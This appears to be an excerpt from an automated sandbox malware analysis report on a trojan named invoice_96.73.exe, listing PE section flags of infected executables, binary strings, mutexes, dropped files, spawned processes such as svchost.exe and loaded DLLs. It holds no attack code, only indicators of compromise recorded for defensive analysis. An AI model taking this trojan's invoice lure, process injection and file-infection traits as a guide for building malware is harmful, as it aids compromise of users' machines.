Source: sppsvc.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ose.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: dwtrig20.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: CCleaner.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: CCleaner64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: RdrCEF.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 64BitMAPIBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: reader_sl.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wow_helper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info_x64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: RdrServicesUpdater.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroRd32.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OSE.EXE.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DW20.EXE.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: wbengine.exe.2.dr	Binary string: YK _hImpersonationToken != INVALID_HANDLE_VALUEd:\w7rtm\base\stor\blb\blbimg\blbimg.cxxReadHandle != INVALID_HANDLE_VALUEWriteHandle != INVALID_HANDLE_VALUEpdwFlagsFveGetStatusWwszDeviceName%ws\%wsExtentLength > 0pCurrentListEntry->Length > 0pbRecomputeNeededpBadClusExtentsBeforeRecoverypBpb\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{\System Volume Information\*{3808876B-C176-4e48-B7AE-04046E6CC752}\System Volume Information\readBuffer != NULL{{3808876B-C176-4e48-B7AE-04046E6CC752}!IsListEmpty(&diffsInSource)\pagefile.sys\hiberfil.sysBackupFileNameUniqueIdWin32ErrorCodeIoState[CurrentBuffer] == BLBIMGI_IO_STATE_WRITINGoffset[i] < volumeSizet.QuadPart < restoreContext->VolumeSize\\?\GLOBALROOT\Device\BlbControlImpersonationToken != INVALID_HANDLE_VALUEoutputBuf->MultiSzLength % sizeof (WCHAR) == 0.\%ws_compressionReadAheadBufferOverlapped.hEventd:\w7rtm\base\stor\blb\blbimg\backfile.cxx_handle != NULL_isCompactForm == FALSE_handle == NULLblockNumberOnDisk != 0xFFFFFFFFdiskOffset >= volumeStartOffsetvolumeBlockOffsetBitLength >= bitsInvolumeStartOffset_batRelativeVolumePointer >= BLBIMGF_SECTOR_SIZE!_isCompactForm_batList[diskBlockOffset] != 0xFFFFFFFFdiskBlockOffset < _numberOfBatEntriesoffsetInDiskBlock % BLBIMGI_BYTES_PER_BLOCK == 0prevBlock >= 0(length == BLBIMGI_BYTES_PER_BLOCK) \|\| isLastBlockInSource_currentFilePointer < _maximumFileSize!_isReadInitialized_currentFileSize >= _existingFileSizebitsInvolumeStartOffset < BLBIMGI_BITS_PER_BAT_BLOCKbisMasterBootRecord_currentFilePointer <= _maximumFileSize_newVhdFormatconectixvsimcxsparsewriteOffSet - Length + _lastBlockSize == _volumeSizereadOffset.QuadPart%BLBIMGF_SECTOR_SIZE == 0readOffset.QuadPart/BLBIMGF_SECTOR_SIZE >= _firstBlockSectorreadOffset.QuadPart/BLBIMGF_SECTOR_SIZE <= _maximumFileSizelen == _sectorSized:\w7rtm\base\stor\blb\blbimg\snapvol.cxx_currentBitNumber == 0_currentBlockListNumber < _batBlockListLength_batBlockList[_currentBlockListNumber] != 0xFFFFFFFFbytesRead == lensplitReadulReadSize > 0_blockBitmap.SizeOfBitMap >= 1.
Source: wbengine.exe.2.dr	Binary string: Element\Device\HarddiskVolume
Source: wbengine.exe.2.dr	Binary string: >`WindowsBackupLinksLink_{47b7fa87-ce42-48ff-8b18-2f1088121503}Child_{47b7fa87-ce42-48ff-8b18-2f1088121503}\\?\Globalroot\Device\Harddisk%lu\Partition1\a
Source: wbengine.exe.2.dr	Binary string: \Device\Harddisk%lu\Partition%lu
Source: wbengine.exe.2.dr	Binary string: !m_bAsyncInProgressd:\w7rtm\base\stor\blb\engine\service\engine.cpp!m_pAsyncRefg_cInitialized == 0SeBackupPrivilegeSeRestorePrivilegefveapi.dllm_pAsyncRef == NULL && m_eOperationType == BLB_OT_UNDEFINEDcVolume < cMaxVolumecTarget < cMaxTargetm_pAsyncHelper == NULL && m_pAsyncRef == NULL*ppAsync != NULLm_bIsRecoveryStartedBlbMountedVolumesBlbMountedVolumeFile%d\\?\GLOBALROOT\Device\HarddiskVolumeFile%dm_numNetworkShareVolumes > 0NOT currOffset < bufSizeOutm_pAsyncHelper!m_pAsyncHelperShowWarningwszFileSpecsXMLpTemplatepbAllCriticalpbSystemStatepTargetpMedia->m_eMediaType == BLB_MT_SHINY \|\| pMedia->m_eMediaType == BLB_MT_REMOVABLEpCatBackupSet->m_cTarget == 1Software\Policies\Microsoft\Windows\Backup\ClientSoftware\Policies\Microsoft\Windows\Backup\ServerDisableBackupToNetworkNoBackupToNetworkDisableBackupToDiskNoBackupToDiskDisableBackupToOpticalNoBackupToOpticalNoRunNowBackupOnlySystemBackupDisableSystemBackupUIRestoreTimeSoftware\Microsoft\Windows NT\CurrentVersion\SystemRestoreRestoreStatusResultguidBackupSetId != GUID_NULLcMedia > 0rgCatBackupSet[i].m_wszCurrentTargetNamem_pCatalogSystempTemplate->m_bIsScheduledTemplatepOldTemplate != NULLpNewTemplate != NULLpbstTypergBackupVolumesrgAllVolumesInfocBackupVolumecVolumeInfotk

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@18/88@39/10

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

File created: C:\Program Files (x86)\Mozilla Maintenance Service\logs\logECFE.tmp

Source: C:\Users\user\Desktop\invoice_96.73.exe

File created: C:\Users\user\AppData\Roaming\23f9eaead4df6ab2.bin

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-23f9eaead4df6ab29ea72c54-b
Source: C:\Users\user\Desktop\invoice_96.73.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-23f9eaead4df6ab2-inf
Source: C:\Users\user\Desktop\invoice_96.73.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-23f9eaead4df6ab2ab63edc8-b

Source: C:\Users\user\Desktop\invoice_96.73.exe

File created: C:\Users\user\AppData\Local\Temp\autABDA.tmp

Source: C:\Users\user\Desktop\invoice_96.73.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: invoice_96.73.exe

ReversingLabs: Detection: 95%

Source: unknown	Process created: C:\Users\user\Desktop\invoice_96.73.exe "C:\Users\user\Desktop\invoice_96.73.exe"
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Source: C:\Users\user\Desktop\invoice_96.73.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\invoice_96.73.exe"
Source: unknown	Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe
Source: unknown	Process created: C:\Windows\ehome\ehrecvr.exe C:\Windows\ehome\ehRecvr.exe
Source: unknown	Process created: C:\Windows\ehome\ehsched.exe C:\Windows\ehome\ehsched.exe
Source: unknown	Process created: C:\Windows\System32\FXSSVC.exe C:\Windows\system32\fxssvc.exe
Source: unknown	Process created: C:\Windows\System32\ieetwcollector.exe C:\Windows\system32\IEEtwCollector.exe /V
Source: unknown	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Source: unknown	Process created: C:\Windows\System32\msdtc.exe C:\Windows\System32\msdtc.exe
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: unknown	Process created: C:\Windows\SysWOW64\perfhost.exe C:\Windows\SysWow64\perfhost.exe
Source: unknown	Process created: C:\Windows\System32\Locator.exe C:\Windows\system32\locator.exe
Source: unknown	Process created: C:\Windows\System32\snmptrap.exe C:\Windows\System32\snmptrap.exe
Source: unknown	Process created: C:\Windows\System32\vds.exe C:\Windows\System32\vds.exe
Source: unknown	Process created: C:\Windows\System32\wbengine.exe "C:\Windows\system32\wbengine.exe"
Source: C:\Users\user\Desktop\invoice_96.73.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\invoice_96.73.exe"	Jump to behavior

Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: webengine4.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: ehtrace.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: ehetw.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: ehetw.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxstiff.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\ieetwcollector.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\ieetwcollector.exe	Section loaded: rpcrtremote.dll	Jump to behavior
